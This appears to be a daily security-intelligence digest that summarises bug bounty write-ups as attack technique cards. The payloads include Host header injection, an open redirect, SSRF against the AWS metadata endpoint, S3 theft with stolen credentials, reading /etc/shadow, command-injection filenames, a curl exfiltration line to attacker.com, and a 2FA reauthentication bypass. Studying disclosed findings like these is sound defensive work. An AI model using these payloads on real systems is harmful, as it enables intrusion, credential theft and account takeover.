

# ETX Signal-X

Daily Intelligence Digest

Saturday, February 21, 2026

4

13

ARTICLES

TECHNIQUES

## Article 1

# How I Hacked the Dutch Government and Got a Lousy T-Shirt

**Source:** securitycipher

**Date:** 30-Jan-2025

**URL:** <https://medium.com/@cyberhrsh/how-i-hacked-the-dutch-government-and-got-a-lousy-t-shirt-bb0f5716bbe1>

## T1 Host Header Injection for Password Reset Link Manipulation

### ⚡ Payload

Host: evil.com

### ⚔️ Attack Chain

- 1 Initiate a password reset request on the target government portal.
- 2 Intercept the request and modify the Host header to `evil.com`.
- 3 Submit the request.
- 4 The application sends a password reset email containing a link with `evil.com` as the domain.
- 5 Victim clicks the link, sending credentials to attacker-controlled domain.

### 🔍 Discovery

Manual inspection of password reset functionality and email contents revealed the Host header was reflected in the reset link.

### 🔒 Bypass

Application trusted the Host header without validation, allowing arbitrary domain injection.

### 🔗 Chain With

Can be chained with phishing or credential harvesting attacks, or used to escalate to account takeover if combined with email compromise.

## T2 Open Redirect via Query Parameter Manipulation

### ⚡ Payload

```
https://target.gov/redirect?url=https://evil.com
```

### ⚔️ Attack Chain

- 1 Identify endpoint accepting a `url` query parameter for redirection.
- 2 Supply a malicious external URL ('https://evil.com') as the parameter value.
- 3 Victim is redirected to attacker-controlled site upon visiting the crafted link.

### 🔍 Discovery

Fuzzing redirect endpoints and observing lack of validation on external URLs.

### 🔒 Bypass

No whitelist or validation on destination URLs; accepts full external links.

### 🔗 Chain With

Can be used in phishing campaigns or to chain with Host Header Injection for more convincing attacks.

## T3 Information Disclosure via Misconfigured Robots.txt

### ⚡ Payload

```
Disallow: /admin  
Disallow: /backup.zip
```

### ⚔️ Attack Chain

- 1 Access the robots.txt file on the government portal.
- 2 Identify disallowed paths pointing to sensitive directories and files (e.g., `/admin`, `/backup.zip`).
- 3 Directly access these paths to enumerate hidden resources.
- 4 Download backup files or attempt admin access.

### 🔍 Discovery

Manual review of robots.txt for non-standard entries exposing sensitive resources.

### 🔒 Bypass

robots.txt is not enforced by the application, only by search engines; direct access is possible.

### 🔗 Chain With

Can be chained with brute force or credential stuffing attacks against admin panels, or extraction of sensitive data from backup files.

**T4**

## Sensitive File Exposure via Backup File Download

### ⚡ Payload

```
https://target.gov/backup.zip
```

### ✗ Attack Chain

- 1 Discover backup file location via robots.txt or directory enumeration.
- 2 Access the backup file directly via browser or HTTP client.
- 3 Download and extract contents for sensitive information (credentials, source code, configuration).

### 🔍 Discovery

Enumeration of robots.txt and direct access to listed files.

### 🔒 Bypass

No authentication or access control on backup file download endpoint.

### 🔗 Chain With

Leads to credential extraction, source code review, and further privilege escalation if sensitive data is found in backup.

**T5**

## Admin Panel Enumeration and Access

### ⚡ Payload

```
https://target.gov/admin
```

### ✗ Attack Chain

- 1 Identify `/admin` endpoint via robots.txt or directory brute force.
- 2 Access the admin panel directly.
- 3 Attempt default credentials, credential stuffing, or exploit exposed functionality.

### 🔍 Discovery

robots.txt disclosure and directory enumeration.

### 🔒 Bypass

No IP restriction or authentication enforced on admin panel access.

### 🔗 Chain With

Can be chained with credential attacks or exploitation of admin features for full site compromise.

## Untitled

Source:

Date:

URL:

### T1 SSRF via Misconfigured Internal Proxy

#### ✓ Payload

```
GET /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: vulnerable-app.com
```

#### ✗ Attack Chain

- 1 Identify a proxy endpoint `/proxy` that accepts arbitrary URLs as parameters.
- 2 Send a request with the URL parameter pointing to AWS EC2 metadata endpoint.
- 3 Receive IAM credentials in the response.

#### 🔍 Discovery

Observed that the proxy endpoint did not restrict internal IPs or AWS metadata URLs, allowing SSRF.

#### 🔓 Bypass

No filtering on internal IPs or AWS metadata endpoints.

#### 🔗 Chain With

Leaked IAM credentials can be used for further AWS resource access.

T2

## Privilege Escalation via Leaked IAM Credentials to S3 Bucket

### ⚡ Payload

```
aws s3 ls s3://target-bucket --profile compromised
aws s3 cp s3://target-bucket/backup.tar.gz . --profile compromised
```

### ✗ Attack Chain

- 1 Use SSRF to obtain IAM credentials from EC2 metadata.
- 2 Configure AWS CLI with compromised credentials.
- 3 Enumerate accessible S3 buckets.
- 4 Download sensitive backup files from S3.

### 🔍 Discovery

After obtaining credentials, tested S3 access using AWS CLI and discovered readable buckets.

### 🔒 Bypass

IAM role had overly permissive S3 access.

### 🔗 Chain With

Downloaded backups may contain application keys, credentials, or code for further exploitation.

T3

## Remote Shell via Application Key Extraction from S3 Backup

### ⚡ Payload

```
ssh -i extracted-app-key.pem ec2-user@target-ec2-instance
```

### ✗ Attack Chain

- 1 Extract backup file from S3 bucket.
- 2 Unpack backup and locate application SSH private key (`app-key.pem`).
- 3 Use SSH key to access EC2 instance as `ec2-user`.

### 🔍 Discovery

Inspected backup contents for sensitive files, found SSH key.

### 🔒 Bypass

Backup stored unencrypted keys; no access restrictions on S3 bucket.

### 🔗 Chain With

Shell access enables privilege escalation, lateral movement, and persistence.

T4

## One-Key Account Takeover via SSH Access

### ⚡ Payload

```
sudo su  
cat /etc/shadow
```

### ✗ Attack Chain

- 1 SSH into EC2 instance using extracted key.
- 2 Escalate privileges to root using `sudo su` (if permitted).
- 3 Access sensitive files (e.g., `/etc/shadow`) for credential extraction.

### 🔍 Discovery

Tested privilege escalation after SSH access, found root access possible.

### 🔒 Bypass

EC2 user had `sudo` privileges without password.

### 🔗 Chain With

Root access enables full system compromise, credential harvesting, and persistence.

## Automation Hacks: Unearthing a Critical RCE the Easy Way

**Source:** securitycipher

**Date:** 29-Jan-2024

**URL:** <https://asbawy.medium.com/automation-hacks-unearthing-a-critical-rce-the-easy-way-ad64f01a06a3>

### T1 Automated Detection of RCE via Command Injection in File Upload Endpoint

#### Payload

```
filename=abc;id
```

#### Attack Chain

- 1 Identify file upload endpoint accepting user-supplied filename parameter.
- 2 Submit a file with the filename parameter set to `abc;id`.
- 3 Observe server response for output of `id` command, indicating command injection and RCE.

#### Discovery

Automated fuzzing of file upload parameters with special characters and command delimiters. Detection triggered by observing unexpected command output in server response.

#### Bypass

Filename sanitization routines often only check for forbidden characters or extensions. Injecting command delimiters (`;) bypasses weak validation.

#### Chain With

Combine with privilege escalation if `id` output reveals low-privileged user. Use for lateral movement or chaining with SSRF to reach internal endpoints.

## T2 Automation Script for Mass Parameter Fuzzing to Uncover Command Injection

### Payload

```
filename=abc;whoami  
filename=abc&&whoami  
filename=abc|whoami
```

### Attack Chain

- 1 Use automation script to iterate over multiple file upload endpoints and parameters.
- 2 Inject payloads containing command delimiters (`;`, `&&`, `|`) and system commands (`whoami`).
- 3 Analyze responses for command execution output, confirming RCE.

### Discovery

Automated scripts systematically fuzz parameters with command injection payloads. Results are filtered for evidence of command execution in responses.

### Bypass

Multiple delimiter variations (`;`, `&&`, `|`) used to bypass different sanitization implementations.

### Chain With

Rapid enumeration of vulnerable endpoints enables chaining with other discovered vulnerabilities (e.g., file write, privilege escalation).

## T3 Leveraging Automation to Detect Blind RCE via Out-of-Band Interaction

### Payload

```
filename=abc;curl http://attacker.com/$(whoami)
```

### Attack Chain

- 1 Inject payload into filename parameter that triggers outbound HTTP request to attacker-controlled server.
- 2 Monitor attacker server logs for incoming requests containing system command output (e.g., username).
- 3 Confirm blind RCE by correlating request with injected payload.

### Discovery

Automated fuzzing with out-of-band payloads. Detection relies on monitoring external infrastructure for evidence of command execution.

### Bypass

Blind RCE detection bypasses lack of direct output by using exfiltration via network requests.

### Chain With

Allows chaining with SSRF, DNS rebinding, or data exfiltration techniques. Can be used to pivot to internal network targets.

## Vulnerability in Wikimedia Foundation OATHAuth. This vulnerability is associated with program files src/Special/OATHManage.Php.

**Source:** threatable

**Date:**

**URL:** <https://phabricator.wikimedia.org/T401862>

### T1 Reauthentication Bypass via POST Request on 2FA Enable

#### ⚡ Payload

```
POST https://en.wikipedia.org/w/index.php?title=Special:Manage_Two-factor_authentication&action=enable&module=totp
```

#### ☒ Attack Chain

- 1 Navigate to the Special:Manage\_Two-factor\_authentication page, which normally requires reauthentication before enabling 2FA.
- 2 Instead of using a GET request (which triggers reauthentication), craft and send a POST request directly to the endpoint:
- 3 The POST request bypasses the reauthentication logic and enables 2FA without user reauth.

#### 🔍 Discovery

Researcher reviewed the source code logic for reauthentication and noted that the check was only enforced for GET requests, not POST. This was confirmed by referencing the code at OATHManage.php#146 and testing POST requests against the endpoint.

#### 🔒 Bypass

The reauthentication requirement is skipped for POST requests to avoid forcing users to reauthenticate when submitting the enable form. This creates a gap where POST requests can activate 2FA without any reauth.

#### 🔗 Chain With

Can be chained with session fixation or account takeover scenarios where an attacker has access to a session but not the user's credentials, allowing them to enable 2FA and potentially lock out the legitimate user.